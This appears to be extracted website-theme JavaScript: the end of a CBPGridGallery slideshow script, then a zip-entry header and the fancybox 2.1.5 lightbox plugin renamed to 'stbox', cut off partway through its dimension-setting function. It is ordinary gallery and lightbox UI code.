	CBPGridGallery.prototype._navigate = function( dir ) {
		if( this.isAnimating ) return;
		if( dir === 'next' && this.current === this.itemsCount - 1 ||  dir === 'prev' && this.current === 0  ) {
			this._closeSlideshow();
			return;
		}

		this.isAnimating = true;
		
		// reset viewport items
		this._setViewportItems();

		var self = this,
			itemWidth = this.currentItem.offsetWidth,
			// positions for the centered/current item, both the side items and the incoming ones
			transformLeftStr = support.support3d ? 'translate3d(-' + Number( getViewportW() / 2 + itemWidth / 2 ) + 'px, 0, -150px)' : 'translate(-' + Number( getViewportW() / 2 + itemWidth / 2 ) + 'px)',
			transformRightStr = support.support3d ? 'translate3d(' + Number( getViewportW() / 2 + itemWidth / 2 ) + 'px, 0, -150px)' : 'translate(' + Number( getViewportW() / 2 + itemWidth / 2 ) + 'px)',
			transformCenterStr = '', transformOutStr, transformIncomingStr,
			// incoming item
			incomingItem;

		if( dir === 'next' ) {
			transformOutStr = support.support3d ? 'translate3d( -' + Number( (getViewportW() * 2) / 2 + itemWidth / 2 ) + 'px, 0, -150px )' : 'translate(-' + Number( (getViewportW() * 2) / 2 + itemWidth / 2 ) + 'px)';
			transformIncomingStr = support.support3d ? 'translate3d( ' + Number( (getViewportW() * 2) / 2 + itemWidth / 2 ) + 'px, 0, -150px )' : 'translate(' + Number( (getViewportW() * 2) / 2 + itemWidth / 2 ) + 'px)';
		}
		else {
			transformOutStr = support.support3d ? 'translate3d( ' + Number( (getViewportW() * 2) / 2 + itemWidth / 2 ) + 'px, 0, -150px )' : 'translate(' + Number( (getViewportW() * 2) / 2 + itemWidth / 2 ) + 'px)';
			transformIncomingStr = support.support3d ? 'translate3d( -' + Number( (getViewportW() * 2) / 2 + itemWidth / 2 ) + 'px, 0, -150px )' : 'translate(-' + Number( (getViewportW() * 2) / 2 + itemWidth / 2 ) + 'px)';
		}

		// remove class animatable from the slideshow grid (if it has already)
		classie.removeClass( self.slideshow, 'animatable' );

		if( dir === 'next' && this.current < this.itemsCount - 2 || dir === 'prev' && this.current > 1 ) {
			// we have an incoming item!
			incomingItem = this.slideshowItems[ dir === 'next' ? this.current + 2 : this.current - 2 ];
			setTransform( incomingItem, transformIncomingStr );
			classie.addClass( incomingItem, 'show' );
		}

		var slide = function() {
			// add class animatable to the slideshow grid
			classie.addClass( self.slideshow, 'animatable' );

			// overlays:
			classie.removeClass( self.currentItem, 'current' );
			var nextCurrent = dir === 'next' ? self.nextItem : self.prevItem;
			classie.addClass( nextCurrent, 'current' );

			setTransform( self.currentItem, dir === 'next' ? transformLeftStr : transformRightStr );

			if( self.nextItem ) {
				setTransform( self.nextItem, dir === 'next' ? transformCenterStr : transformOutStr );
			}

			if( self.prevItem ) {
				setTransform( self.prevItem, dir === 'next' ? transformOutStr : transformCenterStr );
			}

			if( incomingItem ) {
				setTransform( incomingItem, dir === 'next' ? transformRightStr : transformLeftStr );
			}

			var onEndTransitionFn = function( ev ) {
				if( support.transitions ) {
					if( ev.propertyName.indexOf( 'transform' ) === -1 ) return false;
					this.removeEventListener( transEndEventName, onEndTransitionFn );
				}

				if( self.prevItem && dir === 'next' ) {
					classie.removeClass( self.prevItem, 'show' );
				}
				else if( self.nextItem && dir === 'prev' ) {
					classie.removeClass( self.nextItem, 'show' );
				}

				if( dir === 'next' ) {
					self.prevItem = self.currentItem;
					self.currentItem = self.nextItem;
					if( incomingItem ) {
						self.nextItem = incomingItem;
					}
				}
				else {
					self.nextItem = self.currentItem;
					self.currentItem = self.prevItem;
					if( incomingItem ) {
						self.prevItem = incomingItem;
					}
				}

				self.current = dir === 'next' ? self.current + 1 : self.current - 1;
				self.isAnimating = false;
			};

			if( support.transitions ) {
				self.currentItem.addEventListener( transEndEventName, onEndTransitionFn );
			}
			else {
				onEndTransitionFn();
			}
		};

		setTimeout( slide, 25 );
	}

	CBPGridGallery.prototype._closeSlideshow = function( pos ) {
		// remove class slideshow-open from the grid gallery elem
		classie.removeClass( this.el, 'slideshow-open' );
		// remove class animatable from the slideshow grid
		classie.removeClass( this.slideshow, 'animatable' );

		var self = this,
			onEndTransitionFn = function( ev ) {
				if( support.transitions ) {
					if( ev.target.tagName.toLowerCase() !== 'ul' ) return;
					this.removeEventListener( transEndEventName, onEndTransitionFn );
				}
				// remove classes show and current from the slideshow items
				classie.removeClass( self.currentItem, 'current' );
				classie.removeClass( self.currentItem, 'show' );
				
				if( self.prevItem ) {
					classie.removeClass( self.prevItem, 'show' );
				}
				if( self.nextItem ) {
					classie.removeClass( self.nextItem, 'show' );
				}

				// also reset any transforms for all the items
				self.slideshowItems.forEach( function( item ) { setTransform( item, '' ); } );

				self.isSlideshowVisible = false;
			};

		if( support.transitions ) {
			this.el.addEventListener( transEndEventName, onEndTransitionFn );
		}
		else {
			onEndTransitionFn();
		}
	};

	CBPGridGallery.prototype._setViewportItems = function() {
		this.currentItem = null;
		this.prevItem = null;
		this.nextItem = null;

		if( this.current > 0 ) {
			this.prevItem = this.slideshowItems[ this.current - 1 ];
		}
		if( this.current < this.itemsCount - 1 ) {
			this.nextItem = this.slideshowItems[ this.current + 1 ];
		}
		this.currentItem = this.slideshowItems[ this.current ];
	}

	// taken from https://github.com/desandro/vanilla-masonry/blob/master/masonry.js by David DeSandro
	// original debounce by John Hann
	// http://unscriptable.com/index.php/2009/03/20/debouncing-javascript-methods/
	CBPGridGallery.prototype._resizeHandler = function() {
		var self = this;
		function delayed() {
			self._resize();
			self._resizeTimeout = null;
		}
		if ( this._resizeTimeout ) {
			clearTimeout( this._resizeTimeout );
		}
		this._resizeTimeout = setTimeout( delayed, 50 );
	}

	CBPGridGallery.prototype._resize = function() {
		if ( this.isSlideshowVisible ) {
			// update width value
			if( this.prevItem ) {
				var translateVal = Number( -1 * ( getViewportW() / 2 + this.prevItem.offsetWidth / 2 ) );
				setTransform( this.prevItem, support.support3d ? 'translate3d(' + translateVal + 'px, 0, -150px)' : 'translate(' + translateVal + 'px)' );
			}
			if( this.nextItem ) {
				var translateVal = Number( getViewportW() / 2 + this.nextItem.offsetWidth / 2 );
				setTransform( this.nextItem, support.support3d ? 'translate3d(' + translateVal + 'px, 0, -150px)' : 'translate(' + translateVal + 'px)' );
			}
		}
	}

	// add to global namespace
	window.CBPGridGallery = CBPGridGallery;

})( window );PK!@�Q#8�8�+bluetheme/assets/js/jquery.fancybox.pack.jsnu&1i�
/*!
 * stbox - jQuery Plugin
 * version: 2.1.5 (Fri, 14 Jun 2013)
 * @requires jQuery v1.6 or later
 *
 * Examples at http://fancyapps.com/stbox/
 * License: www.fancyapps.com/stbox/#license
 *
 * Copyright 2012 Janis Skarnelis - janis@fancyapps.com
 *
 */

(function (window, document, $, undefined) {
	"use strict";

	var H = $("html"),
		W = $(window),
		D = $(document),
		F = $.stbox = function () {
			F.open.apply( this, arguments );
		},
		IE =  navigator.userAgent.match(/msie/i),
		didUpdate	= null,
		isTouch		= document.createTouch !== undefined,

		isQuery	= function(obj) {
			return obj && obj.hasOwnProperty && obj instanceof $;
		},
		isString = function(str) {
			return str && $.type(str) === "string";
		},
		isPercentage = function(str) {
			return isString(str) && str.indexOf('%') > 0;
		},
		isScrollable = function(el) {
			return (el && !(el.style.overflow && el.style.overflow === 'hidden') && ((el.clientWidth && el.scrollWidth > el.clientWidth) || (el.clientHeight && el.scrollHeight > el.clientHeight)));
		},
		getScalar = function(orig, dim) {
			var value = parseInt(orig, 10) || 0;

			if (dim && isPercentage(orig)) {
				value = F.getViewport()[ dim ] / 100 * value;
			}

			return Math.ceil(value);
		},
		getValue = function(value, dim) {
			return getScalar(value, dim) + 'px';
		};

	$.extend(F, {
		// The current version of stbox
		version: '2.1.5',

		defaults: {
			padding : 15,
			margin  : 20,

			width     : 800,
			height    : 600,
			minWidth  : 100,
			minHeight : 100,
			maxWidth  : 9999,
			maxHeight : 9999,
			pixelRatio: 1, // Set to 2 for retina display support

			autoSize   : true,
			autoHeight : false,
			autoWidth  : false,

			autoResize  : true,
			autoCenter  : !isTouch,
			fitToView   : true,
			aspectRatio : false,
			topRatio    : 0.5,
			leftRatio   : 0.5,

			scrolling : 'auto', // 'auto', 'yes' or 'no'
			wrapCSS   : '',

			arrows     : true,
			closeBtn   : true,
			closeClick : false,
			nextClick  : false,
			mouseWheel : true,
			autoPlay   : false,
			playSpeed  : 3000,
			preload    : 3,
			modal      : false,
			loop       : true,

			ajax  : {
				dataType : 'html',
				headers  : { 'X-stbox': true }
			},
			iframe : {
				scrolling : 'auto',
				preload   : true
			},
			swf : {
				wmode: 'transparent',
				allowfullscreen   : 'true',
				allowscriptaccess : 'always'
			},

			keys  : {
				next : {
					13 : 'left', // enter
					34 : 'up',   // page down
					39 : 'left', // right arrow
					40 : 'up'    // down arrow
				},
				prev : {
					8  : 'right',  // backspace
					33 : 'down',   // page up
					37 : 'right',  // left arrow
					38 : 'down'    // up arrow
				},
				close  : [27], // escape key
				play   : [32], // space - start/stop slideshow
				toggle : [70]  // letter "f" - toggle fullscreen
			},

			direction : {
				next : 'left',
				prev : 'right'
			},

			scrollOutside  : true,

			// Override some properties
			index   : 0,
			type    : null,
			href    : null,
			content : null,
			title   : null,

			// HTML templates
			tpl: {
				wrap     : '<div class="stbox-wrap" tabIndex="-1"><div class="stbox-skin"><div class="stbox-outer"><div class="stbox-inner"></div></div></div></div>',
				image    : '<img class="stbox-image" src="{href}" alt="" />',
				iframe   : '<iframe id="stbox-frame{rnd}" name="stbox-frame{rnd}" class="stbox-iframe" frameborder="0" vspace="0" hspace="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen' + (IE ? ' allowtransparency="true"' : '') + '></iframe>',
				error    : '<p class="stbox-error">The requested content cannot be loaded.<br/>Please try again later.</p>',
				closeBtn : '<a title="Close" class="stbox-item stbox-close" href="javascript:;"><i class="icon-cross-2"></i></a>',
				next     : '<a title="Next" class="stbox-nav stbox-next" href="javascript:;"><i class="icon-untitled"></i></a>',
				prev     : '<a title="Previous" class="stbox-nav stbox-prev" href="javascript:;"><i class="icon-arrow-left-7"></i></a>'
			},

			// Properties for each animation type
			// Opening stbox
			openEffect  : 'fade', // 'elastic', 'fade' or 'none'
			openSpeed   : 250,
			openEasing  : 'swing',
			openOpacity : true,
			openMethod  : 'zoomIn',

			// Closing stbox
			closeEffect  : 'fade', // 'elastic', 'fade' or 'none'
			closeSpeed   : 250,
			closeEasing  : 'swing',
			closeOpacity : true,
			closeMethod  : 'zoomOut',

			// Changing next gallery item
			nextEffect : 'elastic', // 'elastic', 'fade' or 'none'
			nextSpeed  : 250,
			nextEasing : 'swing',
			nextMethod : 'changeIn',

			// Changing previous gallery item
			prevEffect : 'elastic', // 'elastic', 'fade' or 'none'
			prevSpeed  : 250,
			prevEasing : 'swing',
			prevMethod : 'changeOut',

			// Enable default helpers
			helpers : {
				overlay : true,
				title   : true
			},

			// Callbacks
			onCancel     : $.noop, // If canceling
			beforeLoad   : $.noop, // Before loading
			afterLoad    : $.noop, // After loading
			beforeShow   : $.noop, // Before changing in current item
			afterShow    : $.noop, // After opening
			beforeChange : $.noop, // Before changing gallery item
			beforeClose  : $.noop, // Before closing
			afterClose   : $.noop  // After closing
		},

		//Current state
		group    : {}, // Selected group
		opts     : {}, // Group options
		previous : null,  // Previous element
		coming   : null,  // Element being loaded
		current  : null,  // Currently loaded element
		isActive : false, // Is activated
		isOpen   : false, // Is currently open
		isOpened : false, // Have been fully opened at least once

		wrap  : null,
		skin  : null,
		outer : null,
		inner : null,

		player : {
			timer    : null,
			isActive : false
		},

		// Loaders
		ajaxLoad   : null,
		imgPreload : null,

		// Some collections
		transitions : {},
		helpers     : {},

		/*
		 *	Static methods
		 */

		open: function (group, opts) {
			if (!group) {
				return;
			}

			if (!$.isPlainObject(opts)) {
				opts = {};
			}

			// Close if already active
			if (false === F.close(true)) {
				return;
			}

			// Normalize group
			if (!$.isArray(group)) {
				group = isQuery(group) ? $(group).get() : [group];
			}

			// Recheck if the type of each element is `object` and set content type (image, ajax, etc)
			$.each(group, function(i, element) {
				var obj = {},
					href,
					title,
					content,
					type,
					rez,
					hrefParts,
					selector;

				if ($.type(element) === "object") {
					// Check if is DOM element
					if (element.nodeType) {
						element = $(element);
					}

					if (isQuery(element)) {
						obj = {
							href    : element.data('stbox-href') || element.attr('href'),
							title   : element.data('stbox-title') || element.attr('title'),
							isDom   : true,
							element : element
						};

						if ($.metadata) {
							$.extend(true, obj, element.metadata());
						}

					} else {
						obj = element;
					}
				}

				href  = opts.href  || obj.href || (isString(element) ? element : null);
				title = opts.title !== undefined ? opts.title : obj.title || '';

				content = opts.content || obj.content;
				type    = content ? 'html' : (opts.type  || obj.type);

				if (!type && obj.isDom) {
					type = element.data('stbox-type');

					if (!type) {
						rez  = element.prop('class').match(/stbox\.(\w+)/);
						type = rez ? rez[1] : null;
					}
				}

				if (isString(href)) {
					// Try to guess the content type
					if (!type) {
						if (F.isImage(href)) {
							type = 'image';

						} else if (F.isSWF(href)) {
							type = 'swf';

						} else if (href.charAt(0) === '#') {
							type = 'inline';

						} else if (isString(element)) {
							type    = 'html';
							content = element;
						}
					}

					// Split url into two pieces with source url and content selector, e.g,
					// "/mypage.html #my_id" will load "/mypage.html" and display element having id "my_id"
					if (type === 'ajax') {
						hrefParts = href.split(/\s+/, 2);
						href      = hrefParts.shift();
						selector  = hrefParts.shift();
					}
				}

				if (!content) {
					if (type === 'inline') {
						if (href) {
							content = $( isString(href) ? href.replace(/.*(?=#[^\s]+$)/, '') : href ); //strip for ie7

						} else if (obj.isDom) {
							content = element;
						}

					} else if (type === 'html') {
						content = href;

					} else if (!type && !href && obj.isDom) {
						type    = 'inline';
						content = element;
					}
				}

				$.extend(obj, {
					href     : href,
					type     : type,
					content  : content,
					title    : title,
					selector : selector
				});

				group[ i ] = obj;
			});

			// Extend the defaults
			F.opts = $.extend(true, {}, F.defaults, opts);

			// All options are merged recursive except keys
			if (opts.keys !== undefined) {
				F.opts.keys = opts.keys ? $.extend({}, F.defaults.keys, opts.keys) : false;
			}

			F.group = group;

			return F._start(F.opts.index);
		},

		// Cancel image loading or abort ajax request
		cancel: function () {
			var coming = F.coming;

			if (!coming || false === F.trigger('onCancel')) {
				return;
			}

			F.hideLoading();

			if (F.ajaxLoad) {
				F.ajaxLoad.abort();
			}

			F.ajaxLoad = null;

			if (F.imgPreload) {
				F.imgPreload.onload = F.imgPreload.onerror = null;
			}

			if (coming.wrap) {
				coming.wrap.stop(true, true).trigger('onReset').remove();
			}

			F.coming = null;

			// If the first item has been canceled, then clear everything
			if (!F.current) {
				F._afterZoomOut( coming );
			}
		},

		// Start closing animation if is open; remove immediately if opening/closing
		close: function (event) {
			F.cancel();

			if (false === F.trigger('beforeClose')) {
				return;
			}

			F.unbindEvents();

			if (!F.isActive) {
				return;
			}

			if (!F.isOpen || event === true) {
				$('.stbox-wrap').stop(true).trigger('onReset').remove();

				F._afterZoomOut();

			} else {
				F.isOpen = F.isOpened = false;
				F.isClosing = true;

				$('.stbox-item, .stbox-nav').remove();

				F.wrap.stop(true, true).removeClass('stbox-opened');

				F.transitions[ F.current.closeMethod ]();
			}
		},

		// Manage slideshow:
		//   $.stbox.play(); - toggle slideshow
		//   $.stbox.play( true ); - start
		//   $.stbox.play( false ); - stop
		play: function ( action ) {
			var clear = function () {
					clearTimeout(F.player.timer);
				},
				set = function () {
					clear();

					if (F.current && F.player.isActive) {
						F.player.timer = setTimeout(F.next, F.current.playSpeed);
					}
				},
				stop = function () {
					clear();

					D.unbind('.player');

					F.player.isActive = false;

					F.trigger('onPlayEnd');
				},
				start = function () {
					if (F.current && (F.current.loop || F.current.index < F.group.length - 1)) {
						F.player.isActive = true;

						D.bind({
							'onCancel.player beforeClose.player' : stop,
							'onUpdate.player'   : set,
							'beforeLoad.player' : clear
						});

						set();

						F.trigger('onPlayStart');
					}
				};

			if (action === true || (!F.player.isActive && action !== false)) {
				start();
			} else {
				stop();
			}
		},

		// Navigate to next gallery item
		next: function ( direction ) {
			var current = F.current;

			if (current) {
				if (!isString(direction)) {
					direction = current.direction.next;
				}

				F.jumpto(current.index + 1, direction, 'next');
			}
		},

		// Navigate to previous gallery item
		prev: function ( direction ) {
			var current = F.current;

			if (current) {
				if (!isString(direction)) {
					direction = current.direction.prev;
				}

				F.jumpto(current.index - 1, direction, 'prev');
			}
		},

		// Navigate to gallery item by index
		jumpto: function ( index, direction, router ) {
			var current = F.current;

			if (!current) {
				return;
			}

			index = getScalar(index);

			F.direction = direction || current.direction[ (index >= current.index ? 'next' : 'prev') ];
			F.router    = router || 'jumpto';

			if (current.loop) {
				if (index < 0) {
					index = current.group.length + (index % current.group.length);
				}

				index = index % current.group.length;
			}

			if (current.group[ index ] !== undefined) {
				F.cancel();

				F._start(index);
			}
		},

		// Center inside viewport and toggle position type to fixed or absolute if needed
		reposition: function (e, onlyAbsolute) {
			var current = F.current,
				wrap    = current ? current.wrap : null,
				pos;

			if (wrap) {
				pos = F._getPosition(onlyAbsolute);

				if (e && e.type === 'scroll') {
					delete pos.position;

					wrap.stop(true, true).animate(pos, 200);

				} else {
					wrap.css(pos);

					current.pos = $.extend({}, current.dim, pos);
				}
			}
		},

		update: function (e) {
			var type = (e && e.type),
				anyway = !type || type === 'orientationchange';

			if (anyway) {
				clearTimeout(didUpdate);

				didUpdate = null;
			}

			if (!F.isOpen || didUpdate) {
				return;
			}

			didUpdate = setTimeout(function() {
				var current = F.current;

				if (!current || F.isClosing) {
					return;
				}

				F.wrap.removeClass('stbox-tmp');

				if (anyway || type === 'load' || (type === 'resize' && current.autoResize)) {
					F._setDimension();
				}

				if (!(type === 'scroll' && current.canShrink)) {
					F.reposition(e);
				}

				F.trigger('onUpdate');

				didUpdate = null;

			}, (anyway && !isTouch ? 0 : 300));
		},

		// Shrink content to fit inside viewport or restore if resized
		toggle: function ( action ) {
			if (F.isOpen) {
				F.current.fitToView = $.type(action) === "boolean" ? action : !F.current.fitToView;

				// Help browser to restore document dimensions
				if (isTouch) {
					F.wrap.removeAttr('style').addClass('stbox-tmp');

					F.trigger('onUpdate');
				}

				F.update();
			}
		},

		hideLoading: function () {
			D.unbind('.loading');

			$('#stbox-loading').remove();
		},

		showLoading: function () {
			var el, viewport;

			F.hideLoading();

			el = $('<div id="stbox-loading"><div></div></div>').click(F.cancel).appendTo('body');

			// If user will press the escape-button, the request will be canceled
			D.bind('keydown.loading', function(e) {
				if ((e.which || e.keyCode) === 27) {
					e.preventDefault();

					F.cancel();
				}
			});

			if (!F.defaults.fixed) {
				viewport = F.getViewport();

				el.css({
					position : 'absolute',
					top  : (viewport.h * 0.5) + viewport.y,
					left : (viewport.w * 0.5) + viewport.x
				});
			}
		},

		getViewport: function () {
			var locked = (F.current && F.current.locked) || false,
				rez    = {
					x: W.scrollLeft(),
					y: W.scrollTop()
				};

			if (locked) {
				rez.w = locked[0].clientWidth;
				rez.h = locked[0].clientHeight;

			} else {
				// See http://bugs.jquery.com/ticket/6724
				rez.w = isTouch && window.innerWidth  ? window.innerWidth  : W.width();
				rez.h = isTouch && window.innerHeight ? window.innerHeight : W.height();
			}

			return rez;
		},

		// Unbind the keyboard / clicking actions
		unbindEvents: function () {
			if (F.wrap && isQuery(F.wrap)) {
				F.wrap.unbind('.fb');
			}

			D.unbind('.fb');
			W.unbind('.fb');
		},

		bindEvents: function () {
			var current = F.current,
				keys;

			if (!current) {
				return;
			}

			// Changing document height on iOS devices triggers a 'resize' event,
			// that can change document height... repeating infinitely
			W.bind('orientationchange.fb' + (isTouch ? '' : ' resize.fb') + (current.autoCenter && !current.locked ? ' scroll.fb' : ''), F.update);

			keys = current.keys;

			if (keys) {
				D.bind('keydown.fb', function (e) {
					var code   = e.which || e.keyCode,
						target = e.target || e.srcElement;

					// Skip esc key if loading, because showLoading will cancel preloading
					if (code === 27 && F.coming) {
						return false;
					}

					// Ignore key combinations and key events within form elements
					if (!e.ctrlKey && !e.altKey && !e.shiftKey && !e.metaKey && !(target && (target.type || $(target).is('[contenteditable]')))) {
						$.each(keys, function(i, val) {
							if (current.group.length > 1 && val[ code ] !== undefined) {
								F[ i ]( val[ code ] );

								e.preventDefault();
								return false;
							}

							if ($.inArray(code, val) > -1) {
								F[ i ] ();

								e.preventDefault();
								return false;
							}
						});
					}
				});
			}

			if ($.fn.mousewheel && current.mouseWheel) {
				F.wrap.bind('mousewheel.fb', function (e, delta, deltaX, deltaY) {
					var target = e.target || null,
						parent = $(target),
						canScroll = false;

					while (parent.length) {
						if (canScroll || parent.is('.stbox-skin') || parent.is('.stbox-wrap')) {
							break;
						}

						canScroll = isScrollable( parent[0] );
						parent    = $(parent).parent();
					}

					if (delta !== 0 && !canScroll) {
						if (F.group.length > 1 && !current.canShrink) {
							if (deltaY > 0 || deltaX > 0) {
								F.prev( deltaY > 0 ? 'down' : 'left' );

							} else if (deltaY < 0 || deltaX < 0) {
								F.next( deltaY < 0 ? 'up' : 'right' );
							}

							e.preventDefault();
						}
					}
				});
			}
		},

		trigger: function (event, o) {
			var ret, obj = o || F.coming || F.current;

			if (!obj) {
				return;
			}

			if ($.isFunction( obj[event] )) {
				ret = obj[event].apply(obj, Array.prototype.slice.call(arguments, 1));
			}

			if (ret === false) {
				return false;
			}

			if (obj.helpers) {
				$.each(obj.helpers, function (helper, opts) {
					if (opts && F.helpers[helper] && $.isFunction(F.helpers[helper][event])) {
						F.helpers[helper][event]($.extend(true, {}, F.helpers[helper].defaults, opts), obj);
					}
				});
			}

			D.trigger(event);
		},

		isImage: function (str) {
			return isString(str) && str.match(/(^data:image\/.*,)|(\.(jp(e|g|eg)|gif|png|bmp|webp|svg)((\?|#).*)?$)/i);
		},

		isSWF: function (str) {
			return isString(str) && str.match(/\.(swf)((\?|#).*)?$/i);
		},

		_start: function (index) {
			var coming = {},
				obj,
				href,
				type,
				margin,
				padding;

			index = getScalar( index );
			obj   = F.group[ index ] || null;

			if (!obj) {
				return false;
			}

			coming = $.extend(true, {}, F.opts, obj);

			// Convert margin and padding properties to array - top, right, bottom, left
			margin  = coming.margin;
			padding = coming.padding;

			if ($.type(margin) === 'number') {
				coming.margin = [margin, margin, margin, margin];
			}

			if ($.type(padding) === 'number') {
				coming.padding = [padding, padding, padding, padding];
			}

			// 'modal' propery is just a shortcut
			if (coming.modal) {
				$.extend(true, coming, {
					closeBtn   : false,
					closeClick : false,
					nextClick  : false,
					arrows     : false,
					mouseWheel : false,
					keys       : null,
					helpers: {
						overlay : {
							closeClick : false
						}
					}
				});
			}

			// 'autoSize' property is a shortcut, too
			if (coming.autoSize) {
				coming.autoWidth = coming.autoHeight = true;
			}

			if (coming.width === 'auto') {
				coming.autoWidth = true;
			}

			if (coming.height === 'auto') {
				coming.autoHeight = true;
			}

			/*
			 * Add reference to the group, so it`s possible to access from callbacks, example:
			 * afterLoad : function() {
			 *     this.title = 'Image ' + (this.index + 1) + ' of ' + this.group.length + (this.title ? ' - ' + this.title : '');
			 * }
			 */

			coming.group  = F.group;
			coming.index  = index;

			// Give a chance for callback or helpers to update coming item (type, title, etc)
			F.coming = coming;

			if (false === F.trigger('beforeLoad')) {
				F.coming = null;

				return;
			}

			type = coming.type;
			href = coming.href;

			if (!type) {
				F.coming = null;

				//If we can not determine content type then drop silently or display next/prev item if looping through gallery
				if (F.current && F.router && F.router !== 'jumpto') {
					F.current.index = index;

					return F[ F.router ]( F.direction );
				}

				return false;
			}

			F.isActive = true;

			if (type === 'image' || type === 'swf') {
				coming.autoHeight = coming.autoWidth = false;
				coming.scrolling  = 'visible';
			}

			if (type === 'image') {
				coming.aspectRatio = true;
			}

			if (type === 'iframe' && isTouch) {
				coming.scrolling = 'scroll';
			}

			// Build the neccessary markup
			coming.wrap = $(coming.tpl.wrap).addClass('stbox-' + (isTouch ? 'mobile' : 'desktop') + ' stbox-type-' + type + ' stbox-tmp ' + coming.wrapCSS).appendTo( coming.parent || 'body' );

			$.extend(coming, {
				skin  : $('.stbox-skin',  coming.wrap),
				outer : $('.stbox-outer', coming.wrap),
				inner : $('.stbox-inner', coming.wrap)
			});

			$.each(["Top", "Right", "Bottom", "Left"], function(i, v) {
				coming.skin.css('padding' + v, getValue(coming.padding[ i ]));
			});

			F.trigger('onReady');

			// Check before try to load; 'inline' and 'html' types need content, others - href
			if (type === 'inline' || type === 'html') {
				if (!coming.content || !coming.content.length) {
					return F._error( 'content' );
				}

			} else if (!href) {
				return F._error( 'href' );
			}

			if (type === 'image') {
				F._loadImage();

			} else if (type === 'ajax') {
				F._loadAjax();

			} else if (type === 'iframe') {
				F._loadIframe();

			} else {
				F._afterLoad();
			}
		},

		_error: function ( type ) {
			$.extend(F.coming, {
				type       : 'html',
				autoWidth  : true,
				autoHeight : true,
				minWidth   : 0,
				minHeight  : 0,
				scrolling  : 'no',
				hasError   : type,
				content    : F.coming.tpl.error
			});

			F._afterLoad();
		},

		_loadImage: function () {
			// Reset preload image so it is later possible to check "complete" property
			var img = F.imgPreload = new Image();

			img.onload = function () {
				this.onload = this.onerror = null;

				F.coming.width  = this.width / F.opts.pixelRatio;
				F.coming.height = this.height / F.opts.pixelRatio;

				F._afterLoad();
			};

			img.onerror = function () {
				this.onload = this.onerror = null;

				F._error( 'image' );
			};

			img.src = F.coming.href;

			if (img.complete !== true) {
				F.showLoading();
			}
		},

		_loadAjax: function () {
			var coming = F.coming;

			F.showLoading();

			F.ajaxLoad = $.ajax($.extend({}, coming.ajax, {
				url: coming.href,
				error: function (jqXHR, textStatus) {
					if (F.coming && textStatus !== 'abort') {
						F._error( 'ajax', jqXHR );

					} else {
						F.hideLoading();
					}
				},
				success: function (data, textStatus) {
					if (textStatus === 'success') {
						coming.content = data;

						F._afterLoad();
					}
				}
			}));
		},

		_loadIframe: function() {
			var coming = F.coming,
				iframe = $(coming.tpl.iframe.replace(/\{rnd\}/g, new Date().getTime()))
					.attr('scrolling', isTouch ? 'auto' : coming.iframe.scrolling)
					.attr('src', coming.href);

			// This helps IE
			$(coming.wrap).bind('onReset', function () {
				try {
					$(this).find('iframe').hide().attr('src', '//about:blank').end().empty();
				} catch (e) {}
			});

			if (coming.iframe.preload) {
				F.showLoading();

				iframe.one('load', function() {
					$(this).data('ready', 1);

					// iOS will lose scrolling if we resize
					if (!isTouch) {
						$(this).bind('load.fb', F.update);
					}

					// Without this trick:
					//   - iframe won't scroll on iOS devices
					//   - IE7 sometimes displays empty iframe
					$(this).parents('.stbox-wrap').width('100%').removeClass('stbox-tmp').show();

					F._afterLoad();
				});
			}

			coming.content = iframe.appendTo( coming.inner );

			if (!coming.iframe.preload) {
				F._afterLoad();
			}
		},

		_preloadImages: function() {
			var group   = F.group,
				current = F.current,
				len     = group.length,
				cnt     = current.preload ? Math.min(current.preload, len - 1) : 0,
				item,
				i;

			for (i = 1; i <= cnt; i += 1) {
				item = group[ (current.index + i ) % len ];

				if (item.type === 'image' && item.href) {
					new Image().src = item.href;
				}
			}
		},

		_afterLoad: function () {
			var coming   = F.coming,
				previous = F.current,
				placeholder = 'stbox-placeholder',
				current,
				content,
				type,
				scrolling,
				href,
				embed;

			F.hideLoading();

			if (!coming || F.isActive === false) {
				return;
			}

			if (false === F.trigger('afterLoad', coming, previous)) {
				coming.wrap.stop(true).trigger('onReset').remove();

				F.coming = null;

				return;
			}

			if (previous) {
				F.trigger('beforeChange', previous);

				previous.wrap.stop(true).removeClass('stbox-opened')
					.find('.stbox-item, .stbox-nav')
					.remove();
			}

			F.unbindEvents();

			current   = coming;
			content   = coming.content;
			type      = coming.type;
			scrolling = coming.scrolling;

			$.extend(F, {
				wrap  : current.wrap,
				skin  : current.skin,
				outer : current.outer,
				inner : current.inner,
				current  : current,
				previous : previous
			});

			href = current.href;

			switch (type) {
				case 'inline':
				case 'ajax':
				case 'html':
					if (current.selector) {
						content = $('<div>').html(content).find(current.selector);

					} else if (isQuery(content)) {
						if (!content.data(placeholder)) {
							content.data(placeholder, $('<div class="' + placeholder + '"></div>').insertAfter( content ).hide() );
						}

						content = content.show().detach();

						current.wrap.bind('onReset', function () {
							if ($(this).find(content).length) {
								content.hide().replaceAll( content.data(placeholder) ).data(placeholder, false);
							}
						});
					}
				break;

				case 'image':
					content = current.tpl.image.replace('{href}', href);
				break;

				case 'swf':
					content = '<object id="stbox-swf" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="100%" height="100%"><param name="movie" value="' + href + '"></param>';
					embed   = '';

					$.each(current.swf, function(name, val) {
						content += '<param name="' + name + '" value="' + val + '"></param>';
						embed   += ' ' + name + '="' + val + '"';
					});

					content += '<embed src="' + href + '" type="application/x-shockwave-flash" width="100%" height="100%"' + embed + '></embed></object>';
				break;
			}

			if (!(isQuery(content) && content.parent().is(current.inner))) {
				current.inner.append( content );
			}

			// Give a chance for helpers or callbacks to update elements
			F.trigger('beforeShow');

			// Set scrolling before calculating dimensions
			current.inner.css('overflow', scrolling === 'yes' ? 'scroll' : (scrolling === 'no' ? 'hidden' : scrolling));

			// Set initial dimensions and start position
			F._setDimension();

			F.reposition();

			F.isOpen = false;
			F.coming = null;

			F.bindEvents();

			if (!F.isOpened) {
				$('.stbox-wrap').not( current.wrap ).stop(true).trigger('onReset').remove();

			} else if (previous.prevMethod) {
				F.transitions[ previous.prevMethod ]();
			}

			F.transitions[ F.isOpened ? current.nextMethod : current.openMethod ]();

			F._preloadImages();
		},

		_setDimension: function () {
			var viewport   = F.getViewport(),
				steps      = 0,
				canShrink  = false,
				canExpand  = false,
				wrap       = F.wrap,
				skin       = F.skin,
				inner      = F.inner,
				current    = F.current,
				width      = current.width,
				height     = current.height,
				minWidth   = current.minWidth,
				minHeight  = current.minHeight,
				maxWidth   = current.maxWidth,
				maxHeight  = current.maxHeight,
				scrolling  = current.scrolling,
